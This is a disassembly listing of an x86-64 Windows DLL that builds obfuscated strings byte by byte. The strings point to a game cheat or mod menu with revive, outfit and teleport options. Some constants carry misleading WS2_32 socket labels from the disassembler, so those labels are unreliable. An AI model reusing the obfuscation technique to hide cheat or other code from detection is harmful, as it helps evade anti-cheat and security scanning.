call fcn.1800567b0
mov byte [rbp + 0x108], r15b
mov byte [rbp + 0x109], r14b
mov byte [rbp + 0x10a], sil
mov byte [rbp + 0x10b], dil
mov byte [rbp + 0x10c], bl
mov byte [rbp + 0x10d], al
lea rcx, [rbp + 0x1578]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x1578]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x108]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800567b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1578]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cbfb0
lea rcx, [rbp + 0x1578]
call fcn.1800143e0
mov rdx, r12
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x1578]
call fcn.180011f20
test bl, bl
je 0x1800cc027
lea rcx, [0x1805e5b98]
call fcn.1800543e0
movss xmm0, dword [0x1801f7064]
call fcn.1800afbd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
lea rcx, [rbp + 0x4200]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0x4208]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov dword [rbp + 0x98], eax
mov word [rbp + 0x9c], ax
mov byte [rbp + 0x9e], al
mov cl, 0x52
call fcn.180056b00
movzx r12d, al
mov cl, 0x65
call fcn.180056b00
movzx r15d, al
mov cl, 0x76
call fcn.180056b00
movzx r14d, al
mov cl, 0x69
call fcn.180056b00
movzx esi, al
mov cl, 0x76
call fcn.180056b00
movzx edi, al
mov cl, 0x65
call fcn.180056b00
movzx ebx, al
xor ecx, ecx
call fcn.180056b00
mov byte [rbp + 0x98], r12b
mov byte [rbp + 0x99], r15b
mov byte [rbp + 0x9a], r14b
mov byte [rbp + 0x9b], sil
mov byte [rbp + 0x9c], dil
mov byte [rbp + 0x9d], bl
mov byte [rbp + 0x9e], al
lea rcx, [rbp + 0x1598]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x1598]
call fcn.180014330
mov edi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0x98]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.180056b00
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1598]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800cc120
lea rcx, [rbp + 0x1598]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x1598]
call fcn.180011f20
test bl, bl
je 0x1800cc44c
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
lea r9d, [rdi + 0x5b]
lea r8d, [rdi + 0x35]
lea rcx, [rbp + 0x4818]
call fcn.180011e40
movups xmm6, xmmword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10f8], xmm0
mov qword [rbp + 0x1108], rax
mov cl, 0x4f
call fcn.180056990
mov byte [rsp + 0x59], al
mov cl, WSAGetLastError
call fcn.180056990
mov byte [rsp + 0x5a], al
mov cl, 0x6c
call fcn.180056990
mov byte [rsp + 0x60], al
mov cl, 0x79
call fcn.180056990
mov byte [rsp + 0x61], al
mov cl, 0x20
call fcn.180056990
mov byte [rsp + 0x62], al
mov cl, 0x61
call fcn.180056990
mov byte [rsp + 0x63], al
mov cl, 0x76
call fcn.180056990
mov byte [rsp + 0x78], al
mov cl, 0x61
call fcn.180056990
mov byte [rsp + 0x79], al
mov cl, 0x69
call fcn.180056990
mov byte [rsp + 0x7a], al
mov cl, 0x62
call fcn.180056990
mov byte [rsp + 0x7c], al
mov cl, 0x6c
call fcn.180056990
mov byte [rsp + 0x7b], al
mov cl, 0x65
call fcn.180056990
mov byte [rsp + 0x7d], al
mov cl, 0x20
call fcn.180056990
mov byte [rsp + 0x7e], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056990
mov byte [rsp + 0x58], al
mov cl, WSAGetLastError
call fcn.180056990
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180056990
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056990
movzx r13d, al
mov cl, 0x65
call fcn.180056990
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056990
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056990
movzx r14d, al
mov cl, 0x69
call fcn.180056990
movzx esi, al
mov cl, WSAGetLastError
call fcn.180056990
movzx edi, al
mov cl, 0x67
call fcn.180056990
movzx ebx, al
xor ecx, ecx
call fcn.180056990
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x10f8], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x10f9], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x10fa], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x10fb], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x10fc], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x10fd], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x10fe], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0x10ff], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0x1100], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0x1101], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0x1102], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0x1103], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0x1104], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x1105], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1106], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1107], cl
mov byte [rbp + 0x1108], r13b
mov byte [rbp + 0x1109], r12b
mov byte [rbp + 0x110a], r15b
mov byte [rbp + 0x110b], r14b
mov byte [rbp + 0x110c], sil
mov byte [rbp + 0x110d], dil
mov byte [rbp + 0x110e], bl
mov byte [rbp + 0x110f], al
lea rcx, [rbp + 0x15b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov esi, 0x18
mov edx, esi
lea rcx, [rbp + 0x15b8]
call fcn.180014330
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x10f8]
call fcn.180056750
movzx ecx, byte [rax]
call fcn.180056990
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x15b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cc3d0
lea rcx, [rbp + 0x15b8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x4548]
call fcn.1800143f0
movdqa xmmword [rbp - 0x70], xmm6
movss xmm3, dword [0x1801ce720]
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc57c]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x15b8]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
lea rcx, [rbp + 0x4210]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0x4218]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x980], rax
mov dword [rbp + 0x988], eax
mov word [rbp + 0x98c], ax
mov cl, 0x52
call fcn.180056a00
mov byte [rsp + 0x56], al
mov cl, 0x61
call fcn.180056a00
mov byte [rsp + 0x57], al
mov cl, WSAGetLastError
call fcn.180056a00
mov byte [rsp + 0x58], al
mov cl, 0x64
call fcn.180056a00
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a00
mov byte [rsp + 0x5a], al
mov cl, 0x6d
call fcn.180056a00
mov byte [rsp + 0x60], al
mov cl, 0x20
call fcn.180056a00
movzx r13d, al
mov cl, 0x4f
call fcn.180056a00
movzx r12d, al
mov cl, 0x75
call fcn.180056a00
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a00
movzx r14d, al
mov cl, 0x66
call fcn.180056a00
movzx esi, al
mov cl, 0x69
call fcn.180056a00
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a00
movzx ebx, al
xor ecx, ecx
call fcn.180056a00
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x980], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x981], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x982], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x983], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x984], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x985], cl
mov byte [rbp + 0x986], r13b
mov byte [rbp + 0x987], r12b
mov byte [rbp + 0x988], r15b
mov byte [rbp + 0x989], r14b
mov byte [rbp + 0x98a], sil
mov byte [rbp + 0x98b], dil
mov byte [rbp + 0x98c], bl
mov byte [rbp + 0x98d], al
lea rcx, [rbp + 0x15d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x15d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x980]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056a00
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x15d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cc5e0
lea rcx, [rbp + 0x15d8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x15d8]
call fcn.180011f20
test bl, bl
je 0x1800cc66c
lea rcx, [0x1805e5bb8]
call fcn.1800306a0
mov rbx, rax
lea rdx, [rbp + 0x1110]
lea rcx, [rbp + 0x4ac8]
call fcn.1800ed8e0
mov rdx, rax
mov rcx, rbx
call fcn.18002d230
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
movaps xmm0, xmm13
call fcn.180076c20
lea rcx, [rbp + 0x4220]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm11
call fcn.180076bd0
lea rcx, [rbp + 0x4228]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm11
lea rcx, [rbp + 0x4230]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x4238]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x460], rax
mov dword [rbp + 0x468], eax
mov word [rbp + 0x46c], ax
mov byte [rbp + 0x46e], al
mov cl, 0x23
call fcn.1800146b0
mov byte [rsp + 0x56], al
mov cl, 0x23
call fcn.1800146b0
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146b0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.1800146b0
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.1800146b0
mov byte [rsp + 0x5a], al
mov cl, 0x65
call fcn.1800146b0
mov byte [rsp + 0x60], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146b0
mov byte [rsp + 0x61], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146b0
movzx r13d, al
mov cl, WSAStartup
call fcn.1800146b0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146b0
movzx r15d, al
mov cl, 0x5f
call fcn.1800146b0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146b0
movzx esi, al
mov cl, 0x61
call fcn.1800146b0
movzx edi, al
mov cl, 0x62
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x460], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x461], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x462], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x463], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x464], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x465], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x466], cl
mov byte [rbp + 0x467], r13b
mov byte [rbp + 0x468], r12b
mov byte [rbp + 0x469], r15b
mov byte [rbp + 0x46a], r14b
mov byte [rbp + 0x46b], sil
mov byte [rbp + 0x46c], dil
mov byte [rbp + 0x46d], bl
mov byte [rbp + 0x46e], al
lea rcx, [rbp + 0x15f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_ntohs
mov edx, ebx
lea rcx, [rbp + 0x15f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x460]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x15f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cc870
lea rcx, [rbp + 0x15f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x15f8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x360], rax
mov byte [rbp + 0x368], al
mov cl, 0x54
call fcn.1800568c0
mov byte [rsp + 0x56], al
mov cl, 0x65
call fcn.1800568c0
movzx r13d, al
mov cl, 0x6c
call fcn.1800568c0
movzx r12d, al
mov cl, 0x65
call fcn.1800568c0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568c0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568c0
movzx esi, al
mov cl, WSAStartup
call fcn.1800568c0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800568c0
movzx ebx, al
xor ecx, ecx
call fcn.1800568c0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x360], cl
mov byte [rbp + 0x361], r13b
mov byte [rbp + 0x362], r12b
mov byte [rbp + 0x363], r15b
mov byte [rbp + 0x364], r14b
mov byte [rbp + 0x365], sil
mov byte [rbp + 0x366], dil
mov byte [rbp + 0x367], bl
mov byte [rbp + 0x368], al
lea rcx, [rbp + 0x1618]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x4000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1618]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x360]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800568c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1618]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cc9b0
lea rcx, [rbp + 0x1618]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1618]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm7
call fcn.180076c20
movsxd rdx, dword [0x1805e48a4]
lea rcx, [0x1805e5080]
call fcn.1800ed6d0
mov rcx, rax
call fcn.1800143e0
mov r14, rax
xor eax, eax
mov qword [rbp + 0x1198], rax
mov cl, 0x54
call fcn.180056830
mov byte [rsp + 0x68], al
mov cl, 0x50
call fcn.180056830
mov byte [rsp + 0x69], al
mov cl, 0x20
call fcn.180056830
mov byte [rsp + 0x6a], al
mov cl, 0x54
call fcn.180056830
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056830
mov byte [rsp + 0x6c], al
mov cl, 0x25
call fcn.180056830
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056830
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056830
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1198], rax
lea rcx, [rbp + 0x1638]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x1638]
call fcn.180014330
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x1198]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056830
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1638]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ccad0
lea rcx, [rbp + 0x1638]
call fcn.1800143e0
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x5140]
call fcn.180030a70
nop
lea rcx, [rbp + 0x1638]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0xb40], rax
mov dword [rbp + 0xb48], eax
mov cl, 0x54
call fcn.180056880
mov byte [rsp + 0x56], al
mov cl, 0x50
call fcn.180056880
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180056880
mov byte [rsp + 0x58], al
mov cl, 0x53
call fcn.180056880
mov byte [rsp + 0x59], al
mov cl, 0x65
call fcn.180056880
movzx r13d, al
mov cl, 0x6c
call fcn.180056880
movzx r12d, al
mov cl, 0x65
call fcn.180056880
movzx r15d, al
mov cl, 0x63
call fcn.180056880
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056880
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056880
movzx edi, al
mov cl, WSAStartup
call fcn.180056880
movzx ebx, al
xor ecx, ecx
call fcn.180056880
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xb40], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xb41], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xb42], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xb43], cl
mov byte [rbp + 0xb44], r13b
mov byte [rbp + 0xb45], r12b
mov byte [rbp + 0xb46], r15b
mov byte [rbp + 0xb47], r14b
mov byte [rbp + 0xb48], sil
mov byte [rbp + 0xb49], dil
mov byte [rbp + 0xb4a], bl
mov byte [rbp + 0xb4b], al
lea rcx, [rbp + 0x1658]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1658]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb40]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056880
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1658]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ccc50
lea rcx, [rbp + 0x4240]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1658]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4248]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1658]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0xb50], rax
mov dword [rbp + 0xb58], eax
mov cl, 0x54
call fcn.180056900
mov byte [rsp + 0x56], al
mov cl, 0x50
call fcn.180056900
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180056900
mov byte [rsp + 0x58], al
mov cl, 0x53
call fcn.180056900
mov byte [rsp + 0x59], al
mov cl, 0x65
call fcn.180056900
movzx r13d, al
mov cl, 0x6c
call fcn.180056900
movzx r12d, al
mov cl, 0x65
call fcn.180056900
movzx r15d, al
mov cl, 0x63
call fcn.180056900
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056900
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056900
movzx edi, al
mov cl, WSAStartup
call fcn.180056900
movzx ebx, al
xor ecx, ecx
call fcn.180056900
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xb50], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xb51], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xb52], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xb53], cl
mov byte [rbp + 0xb54], r13b
mov byte [rbp + 0xb55], r12b
mov byte [rbp + 0xb56], r15b
mov byte [rbp + 0xb57], r14b
mov byte [rbp + 0xb58], sil
mov byte [rbp + 0xb59], dil
mov byte [rbp + 0xb5a], bl
mov byte [rbp + 0xb5b], al
lea rcx, [rbp + 0x1678]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x1678]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0xb50]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056900
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1678]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800cce00
lea rcx, [rbp + 0x1678]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x1678]
call fcn.180011f20
movaps xmm0, xmm8
call fcn.180076bd0
movsxd rdx, dword [0x1805e48a4]
lea rcx, [0x1805e5080]
call fcn.1800ed6d0
mov rcx, rax
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x970], rax
mov dword [rbp + 0x978], eax
mov word [rbp + 0x97c], ax
mov cl, 0x23
call fcn.180056830
mov byte [rsp + 0x56], al
mov cl, 0x23
call fcn.180056830
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056830
mov byte [rsp + 0x58], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056830
mov byte [rsp + 0x59], al
mov cl, 0x5f
call fcn.180056830
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056830
mov byte [rsp + 0x60], al
mov cl, 0x65
call fcn.180056830
movzx r13d, al
mov cl, 0x6c
call fcn.180056830
movzx r12d, al
mov cl, 0x65
call fcn.180056830
movzx r15d, al
mov cl, 0x63
call fcn.180056830
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056830
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056830
movzx edi, al
mov cl, WSAStartup
call fcn.180056830
movzx ebx, al
xor ecx, ecx
call fcn.180056830
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x970], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x971], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x972], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x973], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x974], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x975], cl
mov byte [rbp + 0x976], r13b
mov byte [rbp + 0x977], r12b
mov byte [rbp + 0x978], r15b
mov byte [rbp + 0x979], r14b
mov byte [rbp + 0x97a], sil
mov byte [rbp + 0x97b], dil
mov byte [rbp + 0x97c], bl
mov byte [rbp + 0x97d], al
lea rcx, [rbp + 0x1698]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1698]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop
mov rdx, rsi
lea rcx, [rbp + 0x970]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056830
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1698]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800ccfd0
lea rcx, [rbp + 0x1698]
call fcn.1800143e0
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.1800974c0
movzx ebx, al
lea rcx, [rbp + 0x1698]
call fcn.180011f20
test bl, bl
je 0x1800cd0d3
mov esi, edi
lea rcx, [0x1805e5080]
call fcn.1800ed6f0
test rax, rax
je 0x1800cd0ce
nop dword [rax]
cmp dword [0x1805e48a4], esi
sete byte [rbp + 0x4bae]
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x4250]
call fcn.180011e10
mov rbx, rax
mov rdx, rdi
lea rcx, [0x1805e5080]
call fcn.1800ed6d0
mov rcx, rax
call fcn.1800143e0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x4bae]
mov rcx, rax
call fcn.1800a2650
test al, al
je 0x1800cd0aa
mov dword [0x1805e48a4], esi
cmp byte [rbp + 0x4bae], 0
je 0x1800cd0b8
call fcn.180075c30
inc esi
movsxd rdi, esi
lea rcx, [0x1805e5080]
call fcn.1800ed6f0
cmp rdi, rax
jb 0x1800cd050
call fcn.180078610
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800696e0
lea rcx, [rbp + 0x4258]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x4260]
call fcn.180011e10
mov rdx, rax
lea rcx, [rbp + 0x5140]
call fcn.180094d40
test al, al
je 0x1800cd15d
lea rcx, [0x1805e5b98]
call fcn.1800543e0
movsxd rdx, dword [0x1805e48a4]
lea rcx, [0x1805e5080]
call fcn.1800ed6d0
lea rcx, [rax + 0x20]
call fcn.1800afb50
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
lea rcx, [rbp + 0x4268]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x4270]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x4b0], rax
mov dword [rbp + 0x4b8], eax
mov word [rbp + 0x4bc], ax
mov byte [rbp + 0x4be], al
mov cl, 0x54
call fcn.180056b10
mov byte [rsp + 0x56], al
mov cl, 0x50
call fcn.180056b10
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.180056b10
mov byte [rsp + 0x58], al
mov cl, 0x54
call fcn.180056b10
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b10
mov byte [rsp + 0x5a], al
mov cl, 0x20
call fcn.180056b10
mov byte [rsp + 0x60], al
mov cl, 0x57
call fcn.180056b10
mov byte [rsp + 0x61], al
mov cl, 0x61
call fcn.180056b10
movzx r13d, al
mov cl, 0x79
call fcn.180056b10
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056b10
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b10
movzx r14d, al
mov cl, 0x69
call fcn.180056b10
movzx esi, al
mov cl, WSAGetLastError
call fcn.180056b10
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b10
movzx ebx, al
xor ecx, ecx
call fcn.180056b10
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x4b0], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x4b1], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x4b2], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x4b3], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x4b4], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x4b5], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x4b6], cl
mov byte [rbp + 0x4b7], r13b
mov byte [rbp + 0x4b8], r12b
mov byte [rbp + 0x4b9], r15b
mov byte [rbp + 0x4ba], r14b
mov byte [rbp + 0x4bb], sil
mov byte [rbp + 0x4bc], dil
mov byte [rbp + 0x4bd], bl
mov byte [rbp + 0x4be], al
lea rcx, [rbp + 0x16b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_ntohs
mov edx, ebx
lea rcx, [rbp + 0x16b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x4b0]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180056b10
movzx ebx, al
mov rdx, rdi
